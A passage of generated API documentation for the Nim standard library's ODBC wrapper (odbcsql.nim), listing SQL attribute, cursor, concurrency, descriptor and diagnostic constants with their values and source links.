[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L380) ``` SQL_QUERY_TIMEOUT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L381) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L381) ``` SQL_MAX_ROWS = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L382) ``` SQL_NOSCAN = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L383) ``` SQL_MAX_LENGTH = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L384) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L384) ``` SQL_ASYNC_ENABLE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L385) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L385) ``` SQL_BIND_TYPE = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L386) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L386) ``` SQL_CURSOR_TYPE = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L387) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L387) ``` SQL_CONCURRENCY = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L388) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L388) ``` SQL_KEYSET_SIZE = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L389) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L389) ``` SQL_ROWSET_SIZE = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L390) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L390) ``` SQL_SIMULATE_CURSOR = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L391) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L391) ``` SQL_RETRIEVE_DATA = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L392) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L392) ``` SQL_USE_BOOKMARKS = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L393) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L393) ``` SQL_GET_BOOKMARK = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L394) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L394) ``` SQL_ROW_NUMBER = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L395) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L395) ``` SQL_ATTR_CURSOR_TYPE = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L396) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L396) ``` SQL_ATTR_CONCURRENCY = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L397) ``` SQL_ATTR_FETCH_BOOKMARK_PTR = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L398) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L398) ``` SQL_ATTR_ROW_STATUS_PTR = 25 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L399) ``` SQL_ATTR_ROWS_FETCHED_PTR = 26 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L400) ``` SQL_AUTOCOMMIT = 102 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L401) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L401) ``` SQL_ATTR_AUTOCOMMIT = 102 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L402) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L402) ``` SQL_ATTR_ROW_NUMBER = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L403) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L403) ``` SQL_TXN_ISOLATION = 108 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L404) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L404) ``` SQL_ATTR_TXN_ISOLATION = 108 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L405) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L405) ``` SQL_ATTR_MAX_ROWS = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L406) ``` SQL_ATTR_USE_BOOKMARKS = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L407) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L407) ``` SQL_ACCESS_MODE = 101 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L408) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L408) ``` SQL_LOGIN_TIMEOUT = 103 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L409) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L409) ``` SQL_OPT_TRACE = 104 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L410) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L410) ``` SQL_OPT_TRACEFILE = 105 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L411) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L411) ``` SQL_TRANSLATE_DLL = 106 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L412) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L412) ``` SQL_TRANSLATE_OPTION = 107 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L413) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L413) ``` SQL_CURRENT_QUALIFIER = 109 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L414) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L414) ``` SQL_QUIET_MODE = 111 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L415) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L415) ``` SQL_PACKET_SIZE = 112 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L416) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L416) ``` SQL_ATTR_ACCESS_MODE = 101 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L417) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L417) ``` SQL_ATTR_CONNECTION_DEAD = 1209 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L418) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L418) ``` SQL_ATTR_CONNECTION_TIMEOUT = 113 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L419) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L419) ``` SQL_ATTR_CURRENT_CATALOG = 109 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L420) ``` SQL_ATTR_DISCONNECT_BEHAVIOR = 114 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L421) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L421) ``` SQL_ATTR_ENLIST_IN_DTC = 1207 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L422) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L422) ``` SQL_ATTR_ENLIST_IN_XA = 1208 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L423) ``` SQL_ATTR_LOGIN_TIMEOUT = 103 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L424) ``` SQL_ATTR_PACKET_SIZE = 112 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L425) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L425) ``` SQL_ATTR_QUIET_MODE = 111 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L426) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L426) ``` SQL_ATTR_TRACE = 104 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L427) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L427) ``` SQL_ATTR_TRACEFILE = 105 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L428) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L428) ``` SQL_ATTR_TRANSLATE_LIB = 106 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L429) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L429) ``` SQL_ATTR_TRANSLATE_OPTION = 107 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L430) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L430) ``` SQL_MODE_READ_WRITE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L432) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L432) ``` SQL_MODE_READ_ONLY = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L433) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L433) ``` SQL_MODE_DEFAULT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L434) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L434) ``` SQL_AUTOCOMMIT_OFF = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L435) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L435) ``` SQL_AUTOCOMMIT_ON = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L436) ``` SQL_AUTOCOMMIT_DEFAULT = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L437) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L437) ``` SQL_NONSCROLLABLE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L438) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L438) ``` SQL_SCROLLABLE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L439) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L439) ``` SQL_CURSOR_FORWARD_ONLY = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L440) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L440) ``` SQL_CURSOR_KEYSET_DRIVEN = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L441) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L441) ``` SQL_CURSOR_DYNAMIC = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L442) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L442) ``` SQL_CURSOR_STATIC = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L443) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L443) ``` SQL_CURSOR_TYPE_DEFAULT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L444) ``` SQL_CONCUR_READ_ONLY = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L446) ``` SQL_CONCUR_LOCK = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L447) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L447) ``` SQL_CONCUR_ROWVER = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L448) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L448) ``` SQL_CONCUR_VALUES = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L449) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L449) ``` SQL_CONCUR_DEFAULT = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L450) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L450) ``` SQL_DESC_COUNT = 1001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L452) ``` SQL_DESC_TYPE = 1002 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L453) ``` SQL_DESC_LENGTH = 1003 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L454) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L454) ``` SQL_DESC_OCTET_LENGTH_PTR = 1004 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L455) ``` SQL_DESC_PRECISION = 1005 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L456) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L456) ``` SQL_DESC_SCALE = 1006 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L457) ``` SQL_DESC_DATETIME_INTERVAL_CODE = 1007 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L458) ``` SQL_DESC_NULLABLE = 1008 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L459) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L459) ``` SQL_DESC_INDICATOR_PTR = 1009 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L460) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L460) ``` SQL_DESC_DATA_PTR = 1010 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L461) ``` SQL_DESC_NAME = 1011 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L462) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L462) ``` SQL_DESC_UNNAMED = 1012 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L463) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L463) ``` SQL_DESC_OCTET_LENGTH = 1013 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L464) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L464) ``` SQL_DESC_ALLOC_TYPE = 1099 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L465) ``` SQL_DIAG_RETURNCODE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L466) ``` SQL_DIAG_NUMBER = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L467) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L467) ``` SQL_DIAG_ROW_COUNT = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L468) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L468) ``` SQL_DIAG_SQLSTATE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L469) ``` SQL_DIAG_NATIVE = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L470) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L470) ``` SQL_DIAG_MESSAGE_TEXT = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L471) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L471) ``` SQL_DIAG_DYNAMIC_FUNCTION = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L472) ``` SQL_DIAG_CLASS_ORIGIN = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L473) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L473) ``` SQL_DIAG_SUBCLASS_ORIGIN = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L474) ``` SQL_DIAG_CONNECTION_NAME = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L475) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L475) ``` SQL_DIAG_SERVER_NAME = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L476) ``` SQL_DIAG_DYNAMIC_FUNCTION_CODE = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L477) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L477) ``` SQL_DIAG_ALTER_TABLE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L478) ``` SQL_DIAG_CREATE_INDEX = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L479) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L479) ``` SQL_DIAG_CREATE_TABLE = 77 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L480) ``` SQL_DIAG_CREATE_VIEW = 84 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L481) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L481) ``` SQL_DIAG_DELETE_WHERE = 19 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L482) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L482) ``` SQL_DIAG_DROP_INDEX = -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L483) ``` SQL_DIAG_DROP_TABLE = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L484) ``` SQL_DIAG_DROP_VIEW = 36 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L485) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L485) ``` SQL_DIAG_DYNAMIC_DELETE_CURSOR = 38 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L486) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L486) ``` SQL_DIAG_DYNAMIC_UPDATE_CURSOR = 81 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L487) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L487) ``` SQL_DIAG_GRANT = 48 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L488) ``` SQL_DIAG_INSERT = 50 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L489) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L489) ``` SQL_DIAG_REVOKE = 59 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L490) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L490) ``` SQL_DIAG_SELECT_CURSOR = 85 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L491) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L491) ``` SQL_DIAG_UNKNOWN_STATEMENT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L492) ``` SQL_DIAG_UPDATE_WHERE = 82 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L493) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L493) ``` SQL_UNSPECIFIED = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L494) ``` SQL_INSENSITIVE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L495) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L495) ``` SQL_SENSITIVE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L496) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L496) ``` SQL_ALL_TYPES = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L497) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L497) ``` SQL_DEFAULT = 99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L498) ``` SQL_ARD_TYPE = -99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L500) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L500) ``` SQL_CODE_DATE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L501) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L501) ``` SQL_CODE_TIME = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L502) ``` SQL_CODE_TIMESTAMP = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L503) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L503) ``` SQL_FALSE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L504) ``` SQL_TRUE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L505) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L505) ``` SQL_NO_NULLS = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L506) 